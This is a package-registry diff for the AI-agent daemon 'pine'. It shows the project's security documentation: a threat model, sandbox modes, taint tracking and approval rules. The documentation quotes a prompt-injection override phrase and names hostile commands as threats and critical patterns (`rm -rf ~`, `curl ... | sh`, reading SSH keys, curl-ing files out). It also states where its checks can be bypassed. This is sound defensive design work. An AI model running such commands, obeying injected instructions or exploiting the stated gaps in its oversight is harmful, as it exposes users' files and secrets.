@pmndre/pine 0.0.0-stage → 0.22.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (151) hide show
  1. package/LICENSE +21 -0
  2. package/README.md +226 -2
  3. package/bin/pine.js +27 -0
  4. package/docs/SKILL.md +234 -0
  5. package/docs/references/agents.md +454 -0
  6. package/docs/references/coding.md +311 -0
  7. package/docs/references/computer.md +212 -0
  8. package/docs/references/configuration.md +310 -0
  9. package/docs/references/events.md +267 -0
  10. package/docs/references/mcp.md +420 -0
  11. package/docs/references/operations.md +394 -0
  12. package/docs/references/overview.md +195 -0
  13. package/docs/references/security.md +896 -0
  14. package/docs/references/setup.md +385 -0
  15. package/docs/references/sources.md +772 -0
  16. package/docs/references/stack.md +121 -0
  17. package/docs/references/tui.md +575 -0
  18. package/examples/home/.env.example +7 -0
  19. package/examples/home/USER.md +4 -0
  20. package/examples/home/agents/main/agent.json +4 -0
  21. package/examples/home/agents/main/workspace/AGENTS.md +14 -0
  22. package/examples/home/agents/main/workspace/MEMORY.md +4 -0
  23. package/examples/home/agents/main/workspace/SOUL.md +4 -0
  24. package/examples/home/models.json +62 -0
  25. package/examples/home/pine.json +34 -0
  26. package/examples/home/skills/README.txt +7 -0
  27. package/examples/launchd/com.pine.daemon.plist +32 -0
  28. package/examples/systemd/pine.service +22 -0
  29. package/mcp/browser.d.ts +99 -0
  30. package/mcp/browser.js +496 -0
  31. package/mcp/commands.d.ts +20 -0
  32. package/mcp/commands.js +88 -0
  33. package/mcp/computer.d.ts +139 -0
  34. package/mcp/computer.js +698 -0
  35. package/mcp/computer.swift +989 -0
  36. package/mcp/lib.d.ts +23 -0
  37. package/mcp/lib.js +52 -0
  38. package/mcp/web.d.ts +6 -0
  39. package/mcp/web.js +140 -0
  40. package/package.json +32 -4
  41. package/src/access.d.ts +112 -0
  42. package/src/access.js +438 -0
  43. package/src/actions.d.ts +75 -0
  44. package/src/actions.js +167 -0
  45. package/src/admin.d.ts +167 -0
  46. package/src/admin.js +625 -0
  47. package/src/agent-admin.d.ts +24 -0
  48. package/src/agent-admin.js +55 -0
  49. package/src/agents.d.ts +540 -0
  50. package/src/agents.js +2776 -0
  51. package/src/background.d.ts +29 -0
  52. package/src/background.js +100 -0
  53. package/src/cli.d.ts +2 -0
  54. package/src/cli.js +777 -0
  55. package/src/computer.d.ts +30 -0
  56. package/src/computer.js +32 -0
  57. package/src/config.d.ts +396 -0
  58. package/src/config.js +549 -0
  59. package/src/dev/claude-model.d.ts +37 -0
  60. package/src/dev/claude-model.js +204 -0
  61. package/src/env-file.d.ts +4 -0
  62. package/src/env-file.js +40 -0
  63. package/src/goals.d.ts +133 -0
  64. package/src/goals.js +316 -0
  65. package/src/http.d.ts +46 -0
  66. package/src/http.js +509 -0
  67. package/src/limiter.d.ts +32 -0
  68. package/src/limiter.js +84 -0
  69. package/src/login.d.ts +23 -0
  70. package/src/login.js +130 -0
  71. package/src/manual.d.ts +61 -0
  72. package/src/manual.js +443 -0
  73. package/src/mcp-config.d.ts +49 -0
  74. package/src/mcp-config.js +182 -0
  75. package/src/models.d.ts +90 -0
  76. package/src/models.js +274 -0
  77. package/src/net.d.ts +50 -0
  78. package/src/net.js +150 -0
  79. package/src/pine.d.ts +32 -0
  80. package/src/pine.js +134 -0
  81. package/src/programs.d.ts +123 -0
  82. package/src/programs.js +412 -0
  83. package/src/router.d.ts +56 -0
  84. package/src/router.js +164 -0
  85. package/src/sandbox-fs.d.ts +34 -0
  86. package/src/sandbox-fs.js +186 -0
  87. package/src/sandbox-linux.d.ts +96 -0
  88. package/src/sandbox-linux.js +297 -0
  89. package/src/sandbox-setup.d.ts +70 -0
  90. package/src/sandbox-setup.js +216 -0
  91. package/src/security.d.ts +238 -0
  92. package/src/security.js +660 -0
  93. package/src/skills.d.ts +67 -0
  94. package/src/skills.js +163 -0
  95. package/src/snapshots.d.ts +68 -0
  96. package/src/snapshots.js +306 -0
  97. package/src/source-types.d.ts +61 -0
  98. package/src/source-types.js +1 -0
  99. package/src/sources/command.d.ts +4 -0
  100. package/src/sources/command.js +77 -0
  101. package/src/sources/folder.d.ts +6 -0
  102. package/src/sources/folder.js +116 -0
  103. package/src/sources/ftp.d.ts +4 -0
  104. package/src/sources/ftp.js +307 -0
  105. package/src/sources/http.d.ts +4 -0
  106. package/src/sources/http.js +201 -0
  107. package/src/sources/mqtt.d.ts +18 -0
  108. package/src/sources/mqtt.js +97 -0
  109. package/src/sources/telegram.d.ts +22 -0
  110. package/src/sources/telegram.js +283 -0
  111. package/src/sources/webhook.d.ts +4 -0
  112. package/src/sources/webhook.js +52 -0
  113. package/src/sources.d.ts +344 -0
  114. package/src/sources.js +966 -0
  115. package/src/store.d.ts +99 -0
  116. package/src/store.js +277 -0
  117. package/src/timers.d.ts +83 -0
  118. package/src/timers.js +318 -0
  119. package/src/tools.d.ts +11 -0
  120. package/src/tools.js +1297 -0
  121. package/src/tui/app.d.ts +305 -0
  122. package/src/tui/app.js +3195 -0
  123. package/src/tui/client.d.ts +236 -0
  124. package/src/tui/client.js +131 -0
  125. package/src/tui/code-pane.d.ts +68 -0
  126. package/src/tui/code-pane.js +535 -0
  127. package/src/tui/highlight.d.ts +8 -0
  128. package/src/tui/highlight.js +86 -0
  129. package/src/tui/picture.d.ts +206 -0
  130. package/src/tui/picture.js +801 -0
  131. package/src/tui/run.d.ts +8 -0
  132. package/src/tui/run.js +97 -0
  133. package/src/tui/theme.d.ts +32 -0
  134. package/src/tui/theme.js +128 -0
  135. package/src/tui/undo.d.ts +5 -0
  136. package/src/tui/undo.js +50 -0
  137. package/src/tui/voice.d.ts +49 -0
  138. package/src/tui/voice.js +155 -0
  139. package/src/tui/voice.swift +223 -0
  140. package/src/types.d.ts +139 -0
  141. package/src/types.js +1 -0
  142. package/src/undo.d.ts +224 -0
  143. package/src/undo.js +465 -0
  144. package/src/update.d.ts +35 -0
  145. package/src/update.js +130 -0
  146. package/src/util.d.ts +65 -0
  147. package/src/util.js +171 -0
  148. package/src/watching.d.ts +20 -0
  149. package/src/watching.js +68 -0
  150. package/src/workspace-view.d.ts +72 -0
  151. package/src/workspace-view.js +221 -0
@@ -0,0 +1,896 @@
1
+ # Security
2
+
3
+ pine runs models that read things strangers wrote and that can run commands. This page says
4
+ what is defended, how, and what is left.
5
+
6
+ ## What can go wrong
7
+
8
+ | Threat | Example |
9
+ |---|---|
10
+ | Someone outside drives the daemon | A stranger messages your bot; a web page you have open posts to the control port; someone on the network calls a webhook |
11
+ | Prompt injection | A mail, web page, MQTT message or file name contains "ignore your instructions and ..." and the model follows it |
12
+ | An agent, misled or mistaken, damages the machine | `rm -rf ~`, overwriting another project, reading SSH keys |
13
+ | Information leaves | The agent is talked into sending your files to a URL, a chat or a device |
14
+ | The agent takes over the daemon | It writes an extension or changes its own configuration so that hostile code runs with the daemon's rights on the next start |
15
+
16
+ No model reliably tells instructions from data. pine therefore does not depend on the model
17
+ refusing; it limits what a run can do, by where its input came from.
18
+
19
+ ## The layers
20
+
21
+ ### 1. Who may speak
22
+
23
+ - **Telegram:** only the account you paired, or the user ids in `allow`, are heard. What anyone
24
+ else writes reaches no agent. Pairing needs both ends: the bot sends a code to the account
25
+ that wrote to it, and that code has to be typed into pine, which names the account. So a
26
+ stranger cannot pair (they do not see your screen), you cannot pair a stranger by a slip of
27
+ the finger (you do not have their code), and an account you deny is not asked about again.
28
+ Once your account is paired, anybody else who writes to the bot gets no answer at all and
29
+ causes no question.
30
+ - **Control API:** loopback by default; every request except `GET /health` and the webhooks
31
+ (which carry their own secret) needs a bearer token (generated into `data/http-token`, mode
32
+ 600, which the CLI reads). Control requests carrying an `Origin` or `Sec-Fetch-Site` header
33
+ or an unexpected `Host` are refused, so a web page in your browser cannot use it, with or
34
+ without DNS rebinding. Bodies must be JSON and at most 1 MB (64 MB for a message with attached
35
+ files).
36
+ - **Webhooks:** each hook has a secret (bearer or HMAC of the body) unless you set `"open":
37
+ true`, a rate limit (120 requests a minute), and a fixed topic.
38
+ - **MQTT, watched folders:** you choose the topics and folders. What arrives is treated as
39
+ outside content.
40
+ - **Event sources:** you configure them, or confirm what an agent sets up. One that nobody is
41
+ subscribed to is not running (unless you gave it `"start": "always"`). What they report is outside content unless you mark the source
42
+ as yours; see "Event sources" below.
43
+
44
+ ### 2. Where content came from decides what it may do
45
+
46
+ Every event carries `trust`. It is `owner` when the content came through a channel that
47
+ authenticated you (a paired or allow-listed Telegram account, the control API), from a
48
+ schedule (one you wrote, or one an agent made at your wish), from a source you marked
49
+ `"trust": "owner"`, or from an agent's `publish_event` in a conversation that has read no
50
+ outside content. Everything else is `untrusted`.
51
+
52
+ A task started by an untrusted event runs with the agent's `untrusted` profile:
53
+
54
+ - built-in tools `read`, `grep`, `find`, `ls` only; no shell, no writing;
55
+ - no MCP servers, no delegation, no `publish_event`, no state writes, no sub-agents;
56
+ - none of the tools that change pine's setup or turn to you (`add_source`, `add_mcp_server`,
57
+ `add_skill`, `add_schedule`, `subscribe`, `request_access`, `question`), no `todo`, no
58
+ `manual`, no `download`;
59
+ - no command in the background, no goal, never app control, never a browser window on your
60
+ screen;
61
+ - in its own session (`<name>~u`), so it neither sees your conversation nor leaves text in it.
62
+
63
+ These tools are not hidden from such a run; they are not registered in it. Each item of the
64
+ first two lines can be widened per agent (`"untrusted": { "stateWrite": true }`) or the agent
65
+ can refuse untrusted tasks altogether (`"untrusted": false`). Tasks an untrusted run hands on
66
+ stay untrusted for whoever receives them.
67
+
68
+ What you widen there is used as it is: such a run is never asked about what it reaches,
69
+ because nobody may be there to answer. Your `approve` list still asks, and so do critical
70
+ actions and what sends something out. `pine check` names every agent whose `untrusted`
71
+ profile has `bash`, `write` or `edit`.
72
+
73
+ A route may declare its events trusted (`"trust": "owner"`). Do that only for a source nobody
74
+ else can write to; `pine check` lists every such route.
75
+
76
+ One case is handled differently: an event of a source that one of your conversations is
77
+ subscribed to is delivered into that conversation, framed as data, and taints it (layer 4)
78
+ instead of starting a reduced run. "Event sources" below says why, and how `"separate": true`
79
+ gets the reduced run back.
80
+
81
+ ### 3. The sandbox
82
+
83
+ Whether an agent's shell commands and file tool calls run inside a sandbox of the operating
84
+ system is decided by its **mode** ("Modes" below). The sandbox is Apple's `sandbox-exec` on
85
+ macOS and [bubblewrap](https://github.com/containers/bubblewrap) (`bwrap`) on Linux.
86
+
87
+ | Mode | Who has it | Sandbox | What the agent reaches |
88
+ |---|---|---|---|
89
+ | `auto` | The main agent, unless you say otherwise | Off | Your whole user account and the network, in your own conversations. See "The whole account" below. |
90
+ | `safe` | Every other agent, unless you say otherwise | On | Its own folders. The table that follows. |
91
+ | `manual` | An agent you set to it | On | As `safe`, and every action waits for you. |
92
+ | `bypass` | An agent you set to it | Off | As `auto`, and nothing is asked. |
93
+
94
+ Set the mode per agent with `mode`, or for all agents that name none with `defaults.mode`
95
+ ([configuration.md](configuration.md)). A run that an event from outside started works in the
96
+ sandbox whatever the agent's mode is.
97
+
98
+ In the sandbox, the same on both systems:
99
+
100
+ | | |
101
+ |---|---|
102
+ | Can read | Its workspace, its private home, its skills, pine's manual (`docs/`), temp, and the system outside your home folder (programs, libraries) |
103
+ | Can write | Its workspace, its private home (`sandbox/<id>/`, which is `$HOME` in its shell), temp. The main agent also `USER.md` in pine's home, and nothing else there |
104
+ | Cannot read or write | Your home folder, pine's home (configuration, `.env`, database, other agents' folders), other agents' workspaces |
105
+ | Cannot | Use the network (unless `sandbox.network` or you granted it to the conversation; the `download` tool is the exception described under Modes), signal or inspect other processes, or reach the services of your session: launching apps, AppleScript, the keychain or keyring, the clipboard, the session bus, the container daemon, an ssh agent |
106
+ | Can compute on | macOS: the graphics chip and the neural engine, which the system's own recognition of text and pictures runs on (a Swift script that reads the text of a scanned page with Vision works). They compute; they reach no file, address or other program |
107
+ | Environment | A handful of variables (`PATH`, `LANG`, ...). Nothing from the daemon's environment, no secrets. `HOME` is the private home. On macOS `CFFIXED_USER_HOME` names it too, so that Apple's libraries take the same home, and `CLANG_MODULE_CACHE_PATH` puts the compilers' cache of built modules into it (the first `swift` run of an agent builds them and takes a while) |
108
+
109
+ How the two systems say it differs. On macOS the sandbox gets a profile that starts from
110
+ "deny everything" and allows what the table lists. On Linux the command is given a file
111
+ system of its own: everything read-only, your home folder and pine's home as empty folders
112
+ with the agent's own folders put back, a process list and a `/dev` of its own, no network
113
+ device, and a system call filter that refuses sockets to other programs on the machine
114
+ (behind those are the session bus, the keyring, a container daemon, a terminal multiplexer).
115
+ "On Linux" below lists where that leaves a difference.
116
+
117
+ In the sandbox the file tools (`read`, `write`, `edit`, `grep`, `find`, `ls`) do their I/O
118
+ through it rather than in the daemon. That closes the usual gap of "check the path, then open
119
+ it": replacing a file with a symlink after the check gains nothing, because the operating
120
+ system applies the policy at the moment of access. Without a sandbox (`auto`, `bypass`) a path
121
+ check in the daemon holds them: pine's home and program stay closed, and after outside
122
+ content the files that are read as instructions.
123
+
124
+ A conversation that you opened a folder for (`pine <folder>`, `/folder`, the folder in the UI's
125
+ bottom bar) can also read and write that folder, and its tools start there. That is the whole
126
+ of it: the folder is that conversation's and the sub-agents it starts, not the agent's other
127
+ conversations', not that of a run that outside
128
+ content started. Only you can open one; agents have no tool for it. pine's home, pine's own
129
+ program and other agents' workspaces are refused, also as part of a larger folder. The
130
+ folder's `AGENTS.md` and `CLAUDE.md` become instructions to the agent, so open folders whose
131
+ authors you would let instruct it. See [coding.md](coding.md).
132
+
133
+ #### On Linux
134
+
135
+ The sandbox is what `safe` and `manual` mode and every run started from outside work in; an
136
+ agent in `auto` or `bypass` mode needs none. It needs bubblewrap, and bubblewrap has to be
137
+ allowed to create user namespaces.
138
+ `pine init` takes care of both, and of the system libraries the browser of the web tools
139
+ needs: it looks at what is missing, shows the commands it would run as administrator, and runs
140
+ them after one yes (`sudo` asks for the password; `pine init --yes` does not ask). pine tries the sandbox once at each start. Where it does not work, `pine check`
141
+ gives the reason and pine behaves as on a machine without a sandbox (below).
142
+
143
+ What `pine init` does, and what it cannot do:
144
+
145
+ - **bubblewrap is missing**: it installs the package with the system's package manager (apt,
146
+ dnf, yum, pacman, zypper, apk).
147
+ - **Ubuntu 24.04 and later** restrict user namespaces through AppArmor. pine writes a rule
148
+ that allows them for bubblewrap, to `/etc/apparmor.d/bwrap`, and loads it:
149
+
150
+ ```
151
+ abi <abi/4.0>,
152
+ include <tunables/global>
153
+
154
+ profile bwrap /usr/bin/bwrap flags=(unconfined) {
155
+ userns,
156
+ }
157
+ ```
158
+
159
+ A file that is there already is left as it is and only loaded again. (Setting
160
+ `kernel.apparmor_restrict_unprivileged_userns=0` would allow them for every program
161
+ instead; pine does not do that.)
162
+ - **A container** (Docker, Podman) forbids a sandbox inside it unless it was started with the
163
+ rights for one, and those cannot be given from inside. With pine as root in the container
164
+ it needs `--cap-add SYS_ADMIN --cap-add NET_ADMIN --security-opt seccomp=unconfined
165
+ --security-opt apparmor=unconfined`: to create namespaces, to give a sandbox without
166
+ network its own loopback interface, and past Docker's system call filter and AppArmor
167
+ profile, which forbid the sandbox's change of root and its mounts. As an ordinary user in
168
+ the container it also needs `--security-opt systempaths=unconfined`, to mount the sandbox's
169
+ own `/proc`. (`--privileged` does all of it.) Each was tried by leaving it out. `pine init`
170
+ installs bubblewrap in the container and names the flags when a right is missing. Without them pine in a container has no agent sandbox; the container is then the
171
+ only wall, and it is around all agents and pine's secrets together. That is a fair way to
172
+ run pine in a container, and needs no flags: an agent whose mode nobody chose works in
173
+ `auto` there ("Consequences worth knowing" below). The flags are for those who want `safe`
174
+ mode inside a container, and they take away most of what the container itself protects.
175
+ - **No `sudo` and not root**: pine prints the commands for whoever administers the machine.
176
+ - **The browser's system libraries** (a server or a container image has few of them): where
177
+ apt is, pine installs them through Playwright's own list of packages, with the same yes.
178
+ Elsewhere it names what is missing; web search and page reading work without the browser.
179
+ - **A systemd unit** with `RestrictNamespaces=` or `PrivateUsers=`.
180
+
181
+ What differs from macOS:
182
+
183
+ | | macOS | Linux |
184
+ |---|---|---|
185
+ | Your home folder, pine's home | Access is refused | They are empty, read-only folders: a command sees that they exist, and in them only the way to the folders it was given |
186
+ | Instruction files, and a repository's hooks and configuration, in a run that read outside content (layer 4) | Cannot be written or created, at any depth | What exists is read-only. What did not exist can be created by a shell command, and pine removes it when the command ends. Both are looked for six folders deep, and not inside folders of installed packages or build output (`node_modules`, `.venv`, `dist`, `build`, `target` and the like) |
187
+ | Programs on the same machine (the session bus, the keyring, a container daemon, a terminal multiplexer, an editor's helper) | Without the network, no connection of any kind. Keychain, clipboard, AppleScript and launching apps are refused by name, also with the network | Without the network a command cannot make a socket to another program (a system call filter, on x86-64 and arm64; programs built for 32 bit do not run then). The session's folder (`/run/user`) is empty and the sockets in `/run` are covered, also with the network |
188
+ | With the network granted | Addresses only: the internet and your local network. Socket files stay closed, except in the agent's own folders (not the shared temp folder), where its own programs talk to each other | Also programs that listen on a socket file where the agent can read outside `/run` (a tmux server or an ssh agent in the temp folder), and those that listen on a socket without a file (an X server does) |
189
+ | Processes a command leaves in the background | Not ended by the sandbox ([coding.md](coding.md) says where they show) | The same without a sandbox (`auto`, `bypass`). In the sandbox they end with the command: its processes are a group of their own that ends with it |
190
+ | A command started in the background in a conversation that has read outside content | Runs with the same limits as one that is waited for | Refused. What such a command may not create is taken away when the command ends, and that is no protection while a command runs for hours. The agent runs it without `background` |
191
+ | pine run as root | Commands run as root | Commands run as root without root's special powers (capabilities), which they could otherwise use to undo the sandbox |
192
+
193
+ The file tools refuse a protected name at any depth on both systems; the rows above about
194
+ depth concern shell commands only.
195
+
196
+ The code pane of the terminal UI reads through the daemon, not through an agent: it lists and
197
+ shows files of the conversation's folder only, with links resolved, and runs `git` for the
198
+ changes inside a sandbox that cannot write and has no network, with the programs a repository
199
+ can name for git to start (diff drivers, text converters, hooks, a file system monitor)
200
+ switched off. Looking at a folder runs nothing from it.
201
+
202
+ Consequences worth knowing:
203
+
204
+ - An agent cannot change its own `agent.json`, its extensions or `pine.json`.
205
+ It can change the files it is meant to keep: `AGENTS.md`, `SOUL.md` and `MEMORY.md` in its
206
+ workspace, and for the main agent `USER.md` ([agents.md](agents.md)), until the session is
207
+ restricted; see layer 4. Rules it must never change go into `agents/<id>/AGENTS.md`, which
208
+ is outside its reach.
209
+ - In the sandbox `git`, `node`, `python`, `sed` and the like work. Tools that need files in
210
+ your home (`~/.gitconfig`, `~/.npmrc`, `~/.ssh`, a toolchain installed there) see the
211
+ agent's empty private home instead. Grant specific folders with `sandbox.read` /
212
+ `sandbox.write`, or set the agent to `auto` mode.
213
+ - On a machine without a working sandbox (Linux without bubblewrap or without user
214
+ namespaces, a container started without the rights for one, any other system), `auto`,
215
+ `bypass` and `manual` work as everywhere. `safe` cannot be had there. An agent whose mode
216
+ nobody chose works in `auto` instead, and `pine check` names it. An agent you set to `safe`
217
+ gets no shell and is told why; its file tools work, held by a path check in the daemon. A
218
+ run that an event from outside started gets no shell, and the commands of `command` sources
219
+ are not run. `pine check` says all of this, and why there is no sandbox.
220
+ - A local MCP server that you added yourself is not sandboxed: it is your program with your
221
+ rights. One that an agent added (`add_mcp_server`) runs where that agent's commands run:
222
+ inside its sandbox in `safe` and `manual` mode, with your rights in `auto` and `bypass`
223
+ mode (the dialog you confirm says which). One of yours that you mark `"sandboxed": true`
224
+ runs the same way ([mcp.md](mcp.md)).
225
+ - `trustWorkspace` stays `false`: pi then loads nothing executable from the workspace, so an
226
+ agent cannot plant an extension for the daemon to run.
227
+
228
+ ### When a call needs something outside: pine asks you
229
+
230
+ An agent in the sandbox (`safe` or `manual` mode) does not have to know where it ends, and
231
+ does not have to think of asking. When one of its calls needs a file or folder of yours, or the network,
232
+ pine puts the question to you itself. It arrives like any approval, under the name
233
+ `request_access`, and says what is wanted and for which call.
234
+
235
+ | When | What happens |
236
+ |---|---|
237
+ | A file tool is given a path outside the agent's folders | You are asked before the call. Yes: it runs. No: it is refused, and the agent is told that you said no |
238
+ | A shell command names such a path (`cat /Users/you/notes/a.txt`, a redirect into one, `cp` to one) | You are asked before the command runs. Reading is asked for a path that exists; writing for the target of a redirect and for what `touch`, `mkdir`, `rm`, `mv`, `tee`, `cp` and the like name |
239
+ | A command writes `~` or `$HOME` for something that is in your home and not in the agent's private one | In the agent's shell `~` is its own private home (`sandbox/<id>/`). You are asked for the path in your home, and the agent is told to run the command again with that path written out |
240
+ | A command is refused something it did not name: a script opens a file, a program wants the network | macOS: pine reads the system's own reports of what the sandbox refused that command, asks you, and adds a line of its own to the end of the command's output: what was refused, what you answered, and to run the command again after a yes |
241
+
242
+ A yes is the grant `request_access` gives: it holds for that conversation and its sub-agents
243
+ until the conversation is reset or pine restarts. A no is kept for the conversation too: pine
244
+ does not ask for the same thing again there. The agent can still call `request_access` itself,
245
+ with a reason.
246
+
247
+ What is never asked: pine's home, pine's code and other agents' workspaces. No answer of yours
248
+ opens them, so the agent is told that they are closed and not to look for another way. What a
249
+ program looks for on its own account is not asked either unless the command names it: names
250
+ that start with a dot in your home, `Library`, the system's folders. The network is asked for
251
+ only when the command failed without it. A run that an event from outside started is never
252
+ asked about: it is told that it cannot be given more. After outside content the question says
253
+ so ("Careful: ..."), because the command may be what that content wanted.
254
+
255
+ How pine knows on macOS: every command's sandbox profile carries a text of its own, the system
256
+ writes each refusal into its log with that text, and pine reads the log for it (`log stream`,
257
+ which runs while an agent's commands run and for some seconds after, not all the time).
258
+ None of this decides anything. The sandbox has refused already; the report only tells pine
259
+ whom to ask, and what the agent gets is what you grant. On Linux the sandbox reports nothing,
260
+ and where the log cannot be read pine has less to go on: the paths a command names before it
261
+ runs, and after it the words of a failed command ("Operation not permitted", "Read-only file
262
+ system", "Could not resolve host").
263
+
264
+ ### The whole account
265
+
266
+ An agent that is to do real work on your machine needs what you have at your terminal: your
267
+ projects, your programs and toolchains, your git and ssh setup, the network, and the ability to
268
+ stop a server it started a minute ago. In `auto` mode it has that, without asking for access,
269
+ because its commands run without a sandbox:
270
+
271
+ | | |
272
+ |---|---|
273
+ | Files | Everything your user account can open and change |
274
+ | Closed | pine's home (configuration, `.env`, database, other agents' folders), except its own folders there, and changing pine's program files. Not by the operating system: see "pine's own files without a sandbox" below |
275
+ | Network, processes, apps | As you: it can install packages, start and stop programs (`ps`, `sudo` and programs that sandbox themselves work as in your terminal), open a browser |
276
+ | Environment | Yours, with your home folder as `$HOME`. Variables whose name looks like a credential (`KEY`, `TOKEN`, `SECRET`, `PASSWORD`, `AUTH`, ...) are left out, except the ssh agent's address; add what the agent should have with `sandbox.env` |
277
+
278
+ This is the reach `bypass` mode has. What differs from bypass is that `auto` checks what is
279
+ critical, and what happens once the conversation has read outside content, described below.
280
+ To keep an agent inside its own folders, set its mode to `safe`.
281
+
282
+ #### pine's own files without a sandbox
283
+
284
+ In the sandbox the operating system keeps an agent out of pine's home (configuration, `.env`,
285
+ the control API's token, other agents' folders) and from changing pine's program. Without
286
+ one, in `auto` and `bypass` mode, pine does it by reading what is about to run:
287
+
288
+ | What | How it is kept closed |
289
+ |---|---|
290
+ | A file tool (`read`, `write`, `edit`, ...) on a path in pine's home, or writing one in pine's program | Refused by a check in the daemon |
291
+ | A shell command that names a path in pine's home: written out, with `~` or `$HOME`, or with `..` from where the shell starts | Not run |
292
+ | A shell command that plainly writes into pine's program files (a redirect, `touch`, `rm`, `cp` to it) | Not run |
293
+ | A shell command that starts the `pine` program, or names pine's control port on this computer | Not run |
294
+ | Any other shell command that names pine's program files and does more than look | Critical: you are asked, in every conversation (not in `bypass`) |
295
+
296
+ This is a net, not a wall. A command line is read, not followed: what a script or a variable
297
+ holds is not seen, a command that walks a whole folder (`grep -r secret ~`) is not followed
298
+ into pine's home, and a program the agent starts runs with your rights. Whoever holds the
299
+ token in `data/http-token` can answer approval requests and change modes. In a conversation
300
+ that has read nothing from outside, getting past the net takes a model acting against you by
301
+ itself. In one that has, nothing else stands in the way. For an agent that should not depend
302
+ on that, use `safe` mode.
303
+
304
+ ### What asks you
305
+
306
+ No model judges what an agent does. In `auto` and `safe` mode the agent works without
307
+ asking, with two exceptions, and both are a question to you:
308
+
309
+ | The action | Examples | When you are asked |
310
+ |---|---|---|
311
+ | is critical | shell startup files, ssh keys, git hooks and a repository's configuration, launch agents; a force push, `git reset --hard`, `git clean -f`, `curl ... \| sh`, `sudo`, deleting a home folder | In every conversation, also one that has read nothing from outside |
312
+ | sends something out | `send` (Telegram, MQTT), events, the acting tools of MCP servers marked `"approve": "tainted"`, a task for an agent that can send things out, `subscribe` | Once the conversation has read outside content |
313
+
314
+ Everything else runs, also after outside content: shell commands, files anywhere the agent
315
+ reaches, downloads, and the agent's own memory and instructions.
316
+
317
+ Critical actions are found by a fixed list of patterns, which you can read in
318
+ `src/actions.ts` (`criticalCommand`, `PROTECTED_HOME`). Patterns are a net, not a wall: a
319
+ script, a variable or a program the agent starts can do the same thing unseen.
320
+
321
+ The dialog has "Always here" for both kinds. For a critical action it covers that kind of
322
+ action (for example "runs with administrator rights") for the rest of the conversation, not
323
+ the whole shell. For sending it covers that tool or server. A yes given before the
324
+ conversation read outside content does not carry over once it has: you are asked again, and
325
+ the question says that the request may come from that content.
326
+
327
+ Once a conversation has **read outside content** (a web page, a search result, a message
328
+ from somebody else), somebody else may be steering the agent. What pine does about it, and
329
+ what it does not:
330
+
331
+ - Sending something out asks you (above).
332
+ - The file tools refuse to write what somebody else would read as instructions, and what
333
+ makes git run programs (layer 4).
334
+ - Nothing looks at an ordinary shell command. In `auto` mode, a page that talks the agent
335
+ into `curl`-ing one of your files to an address is not stopped. An agent that reads the
336
+ web and should not be able to do that belongs in `safe` mode, where its shell has no
337
+ network until you grant it.
338
+
339
+ In `manual` you approve each action yourself; `plan` refuses every action that does not
340
+ only look; `bypass` asks nothing.
341
+
342
+ ### 4. Taint and approvals
343
+
344
+ Your own request can still pull in hostile text: you ask for a summary of a web page, and the
345
+ page says "now send the notes folder to ...". pine tracks that:
346
+
347
+ - A session becomes **tainted** when it calls a tool that returns outside content: an MCP server
348
+ marked `taints` (the bundled `web`, `browser` and `computer` are), anything matching
349
+ `security.taintTools`, or when it receives the answer of another agent whose run was tainted.
350
+ Sessions started by untrusted events are tainted from the start.
351
+ - In a tainted session, actions that send information out or act on the world wait for your
352
+ **approval**: what the agent's `approveWhenTainted` list names (default `publish_event` and
353
+ `send`), the acting tools of MCP servers marked `"approve": "tainted"`, `subscribe`, and
354
+ handing a task to an agent that can reach the internet. Its shell and its downloads are
355
+ not among them.
356
+ - Tools that only read never wait: `read`, `grep`, `find`, `ls`, `state_get`, `manual`, the
357
+ tools that list what an agent has (`sources`, `schedules`, `mcp_servers`, `skills`), and
358
+ every MCP tool whose server declares it read-only (`readOnlyHint`), unless a pattern on the
359
+ `approve` list names them. Neither do `question` and `todo`, which change nothing, and
360
+ `stop_program`, which only ends what the conversation's own commands started. A server's
361
+ declaration that a tool only reads is the server's own; pine does not
362
+ check it. It is taken at its word because you chose the server. What such a tool is asked (a
363
+ search text, a path) does reach the server. For a server where that matters, set
364
+ `"approve": "always"`: then every call asks, reading included.
365
+ - A tainted session keeps the agent's own files: `MEMORY.md`, `AGENTS.md`, `SOUL.md`, and
366
+ `USER.md` for the main agent. It writes them as before, and nobody checks what it writes
367
+ there, so text from a page can end up in the agent's memory ("What is not solved").
368
+ Everything else that would be read as instructions (`CLAUDE.md`, `AGENTS.md` further
369
+ down in the workspace, `.pi/`, `.agents/`, the instruction files of a folder opened for the
370
+ conversation) is refused, with no question: by the file tools in every mode, and for shell
371
+ commands by the sandbox (`safe`, `manual`). In `auto` mode nothing looks at a shell command
372
+ that writes such a file. Other notes in the
373
+ workspace can always be written; they are not read unless the agent opens them.
374
+ - A tainted session can still use git in a repository there (commit, branch, diff), but cannot
375
+ change what makes git run programs: `.git/hooks` and `.git/config` (a hook, a hooks path, a
376
+ pager, a file system monitor), also of submodules and of repositories further down, and it
377
+ cannot move a `.git` folder aside to put another in its place. Anything put there would run
378
+ with your rights the next time you use git in that folder. In the sandbox the operating
379
+ system refuses it. Without one (`auto`) the file tools refuse it, and a shell command that
380
+ names a hook or a repository's configuration is critical: you are asked. A session
381
+ that has read no outside content can change them, like everything else in its folders.
382
+ - Events a tainted session publishes are `untrusted`.
383
+
384
+ An approval request arrives in the terminal UI as a dialog and in Telegram with buttons, showing
385
+ the agent, the tool and its arguments, and why you are asked. `pine approvals`,
386
+ `pine approve <id>` and `pine deny <id>` do the same from a terminal. No answer within
387
+ `security.approvalTimeout` means no. The agent is told the action was not approved and to report
388
+ instead of retrying.
389
+
390
+ There are three answers: allow once, deny, and **always in this conversation** ("Always here" in
391
+ the UI, the "Always: ..." button in Telegram, `pine approve <id> --always`). "Always" covers the
392
+ whole MCP server the tool belongs to, or the one tool if it is not from a server (`bash`, for
393
+ example), until the conversation is reset or the daemon restarts. For a critical action it
394
+ covers that kind of action. Two things to know:
395
+
396
+ - It is not offered for what you configured to ask every time (the `approve` list, a server with
397
+ `"approve": "always"`).
398
+ - A yes given while the conversation was clean does not carry over once it has read outside
399
+ content. You are asked again, and that answer then holds.
400
+
401
+ Taint lasts for the life of the session (`security.taint: "session"`), because the text is still
402
+ in the context. `/reset` in the terminal UI, or `pine reset`, clears it along with the
403
+ conversation. `/undo` clears it only when the message that is taken back is the one that
404
+ brought the outside content in: that text then leaves the context with the message, and
405
+ what you allowed the conversation while the message was worked on is taken back too.
406
+ `"run"` forgets it after each task, which is more convenient and weaker. `"off"` means no tool
407
+ call marks a conversation at all: what a subscribed source reports then arrives with full tools
408
+ and no questions. Runs that an outside event started stay restricted in every setting.
409
+
410
